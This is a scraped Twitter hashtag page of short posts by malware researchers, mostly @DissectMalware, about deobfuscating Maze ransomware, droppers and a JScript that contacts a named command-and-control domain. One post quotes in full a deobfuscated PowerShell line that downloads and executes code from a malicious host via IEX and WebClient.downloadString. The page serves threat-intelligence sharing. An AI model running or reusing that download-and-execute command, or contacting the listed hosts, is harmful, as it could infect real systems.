#Deobfuscated - Twitter Hashtag

about 6 years ago

How to #deobfuscated #Maze #ransomware using #IDAPro #disassembler and #Python API. #cybersecurity #malwareanalisys #incidentresponse #digitalforensics https://t.co/GlLz32vpWH

0

1

0

avman @avman1995

over 7 years ago

@James_inthe_box @mal_share @fumik0_ @cocaman @malwrhunterteam @JRoosen @luc4m @pancak3lullz @trustartech @malware_traffic @dvk01uk #Deobfuscated #megaloddon #http https://t.co/GRf2RycbdL

0

2

0

Malwrologist

@DissectMalware

almost 8 years ago

#obfuscated #bat > #powershell > #encoded #zip file (XORed with 0x91) > 3 files (2 #PE and #a3x #config file) low detection rate despite being on the wild for a long time (I have seen it multiple times) #bat https://t.co/GgWqsUswM2 #deobfuscated by https://t.co/wJ8qX1FjEV

DissectMalware's tweet photo. #obfuscated #bat > #powershell > #encoded #zip file (XORed with 0x91) > 3 files (2 #PE and #a3x #config file)

low detection rate despite being on the wild for a long time (I have seen it multiple times)

#bat https://t.co/GgWqsUswM2

#deobfuscated by https://t.co/wJ8qX1FjEV https://t.co/9cR1A0s1FF

1

21

5

0

Malwrologist

@DissectMalware

almost 8 years ago

The #bat file is #deobfuscated with the following tool https://t.co/wJ8qX1FjEV

1

13

2

0

Malwrologist

@DissectMalware

almost 8 years ago

interesting #bash #obfuscation (first time seen) target: #macOS uses: #xdd #ioreg #sw_vers tried to generate the url, but got error if you have macOS please try, see whether you can dl the zip file #sh https://t.co/qPvhgugA0l #deobfuscated bash https://t.co/he85m7l3i5

DissectMalware's tweet photo. interesting #bash #obfuscation (first time seen)
target: #macOS uses: #xdd #ioreg #sw_vers
tried to generate the url, but got error
if you have macOS please try, see whether you can dl the zip file

#sh https://t.co/qPvhgugA0l

#deobfuscated bash https://t.co/he85m7l3i5 https://t.co/5KEkei18qC

2

25

17

2

0

Malwrologist

@DissectMalware

about 8 years ago

#interesting #JScript connects to a C2 (/pnl-01start.com/). It only accepts requests that have x-auth header with value #padrao). The script dls two #PE ( #CERTMGR and #malware) #deobfuscated script: https://t.co/CexDfPveyd https://t.co/082KeQGpms https://t.co/qBBZ8UksOP

DissectMalware's tweet photo. #interesting #JScript connects to a C2 (/pnl-01start.com/). It only accepts requests that have x-auth header with value #padrao). The script dls two #PE ( #CERTMGR and #malware)
#deobfuscated script: https://t.co/CexDfPveyd

https://t.co/082KeQGpms

https://t.co/qBBZ8UksOP https://t.co/MGsihddkZr

1

16

5

1

0

Malwrologist

@DissectMalware

over 8 years ago

@James_inthe_box @mateeuslinno @Ledtech3 #deobfuscated com: Iex("IEX(NeW-ObjECt NeT.WebcLIENT).downloadStrInG('hxxps://dlm.grogau.com/?dmVjvAeKa6sD/JtBe8pKTMCSgpReVTJZ6rCkYWwtNnfsCILXa3FjxwUoMiMYROSsOSOqjrjbOWurLNTvIGAaAoVw3kD82/WrIPAb3Vs8Upe1gQ4t')");

DissectMalware's tweet photo. @James_inthe_box @mateeuslinno @Ledtech3 #deobfuscated com:

Iex("IEX(NeW-ObjECt NeT.WebcLIENT).downloadStrInG('hxxps://dlm.grogau.com/?dmVjvAeKa6sD/JtBe8pKTMCSgpReVTJZ6rCkYWwtNnfsCILXa3FjxwUoMiMYROSsOSOqjrjbOWurLNTvIGAaAoVw3kD82/WrIPAb3Vs8Upe1gQ4t')"); https://t.co/WBXZi3WgIj

1

5

0

Top Tweets for #Deobfuscated

Last Seen Hashtags on Sotwe

Trends for you

Most Popular Users